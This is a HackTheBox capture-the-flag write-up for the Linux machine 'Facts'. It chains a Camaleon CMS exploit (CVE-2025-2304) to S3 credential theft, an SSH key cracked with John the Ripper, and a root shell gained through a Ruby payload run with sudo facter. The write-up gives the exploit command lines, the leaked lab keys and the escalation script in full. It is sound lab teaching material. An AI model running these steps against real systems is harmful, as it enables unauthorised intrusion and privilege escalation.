
HackTheBox — Facts (Easy/Linux) | CVE-2025-2304 + AWS S3 + SSH Key + Facter PrivEsc
Facts is an Easy Linux machine that requires exploiting a known vulnerability
(CVE-2025-2304) in Camaleon CMS to extract local AWS S3 credentials.
Enumerating the internal S3 buckets reveals an SSH private key that must be cracked using John the Ripper to gain initial access.
Privilege escalation is achieved by exploiting a sudo misconfiguration on /usr/bin/facter, allowing the execution of custom Ruby code to obtain a root shell.
Attack Chain: Nmap → Camaleon CMS (CVE-2025-2304) → S3 Bucket Enumeration → SSH Key Cracking → sudo facter → Root
Let's start with an Nmap scan to identify the active services on the target machine. Bash
nmap -sV -sC -oN nmap_facts 10.129.244.96
Results:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap reveals two open ports: 22 (SSH) and 80 (HTTP). The web server is based on Nginx. Before we can interact with the site properly, we should add the host facts.htb to our /etc/hosts file.
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
When visiting the site on port 80, we are presented with a standard web page. To uncover hidden paths, we launch a directory brute-force attack (e.g., using ffuf or gobuster).
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
The enumeration reveals several interesting directories related to an admin panel (/admin, /admin.php, etc.), all of which redirect with a 302 status to http://facts.htb/admin/login.

By visiting the login page and authenticating (or looking at the panel’s footer), we discover the technology behind the site: Camaleon CMS.
A key detail catches our attention in the bottom right corner: the CMS version is 2.9.0.

Knowing that the server is running Camaleon CMS 2.9.0, a quick online search leads us to discover a critical vulnerability known as CVE-2025-2304, which allows privilege escalation from an authenticated user to an administrator.
We find a public exploit on GitHub (created by Alien0ne) and download it to our attacker machine.

We launch the exploit by passing the credentials in our possession (e.g., mattia:mattia) to elevate ourselves to admin, extract sensitive information, and then revert to the original role to leave no obvious traces.
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
The exploit’s output is a goldmine: it manages to extract local AWS S3 credentials and the internal endpoint used by the server.
S3 Access Key: AKIAA103ACAA5953D888
S3 Secret Key: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
S3 Endpoint: http://localhost:54321 (which becomes http://facts.htb:54321 for us)

With these keys, we can configure our local AWS CLI to interact with the S3 service exposed by the machine.
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json
Now we can list the available buckets by passing the custom endpoint URL:
aws --endpoint-url http://facts.htb:54321 s3 ls
We find two buckets: internal and randomfacts. By recursively exploring the internal bucket, we discover a .ssh folder containing keys!
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
Let’s download the id_ed25519 file (the SSH private key) to our machine.
We have the private key, but it is protected by a passphrase. To crack it, we’ll use the John the Ripper suite. First, we’ll convert the key into a format that John can read using ssh2john:
ssh2john id_ed25519 > hash.txt
Next, we launch the dictionary attack (using the custom wordlist my_guess.txt or the classic rockyou.txt):
john --wordlist=my_guess.txt hash.txt
The password is successfully cracked: dragonballz. Now we have everything we need to access the server!

Now that we have everything we need, we can take advantage of the second open port we found earlier: the SSH port (22).
ssh -i id_ed25519 [email protected]
We’ll use the password we found earlier: dragonballz. We’re in!
Now we need to figure out which path we can exploit to gain root access, so we’ll use sudo -l.
Path:
/usr/bin/facter
To exploit this path, we’ll use a mini script:
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
And then we’ll run it:
sudo /usr/bin/facter --custom-dir=/tmp pwn

We are officially root!!!
Now we just need to find the two flags at hand :)

NMAP — 2 ports discovered (22, 80) ↓ Web Enumeration — Admin section find ↓ Camaleon CMS -> CVE-2025-2304 ↓ Exploit + AWS settings ↓ John the ripper for the hash ↓ SSH Login ↓ Sudo -l ↓ Script + Execution ↓ ROOT ✅